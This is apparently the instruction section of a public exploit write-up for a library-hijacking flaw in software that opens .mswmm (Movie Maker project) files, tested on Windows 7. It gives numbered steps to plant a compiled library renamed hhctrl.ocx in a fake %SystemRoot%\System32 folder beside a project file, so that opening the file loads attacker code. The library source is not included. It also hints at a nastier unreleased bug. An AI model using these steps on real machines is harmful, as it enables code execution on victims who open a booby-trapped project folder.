Version: 2.6.4038.0 and prior
Tested on: Windows 7 x86 (6.1.7600)

There is a way more interesting bug there in which the program tries to load a driver file.
It's in investigation, but has a nice potential for a nastier vulnerability.
Meanwhile, enjoy =]

Instructions:
1. Create a file with the following extension: .mswmm
2. Compile this library and rename it to hhctrl.ocx
2. On the same directory of the .mswmm file, create a directory called: %SystemRoot%
3. Inside %SystemRoot%, create a directory called: System32
4. Move hhctrl.ocx into the System32 directory that you have just created
5. Open the .mswmm file and enjoy the fireworks =]
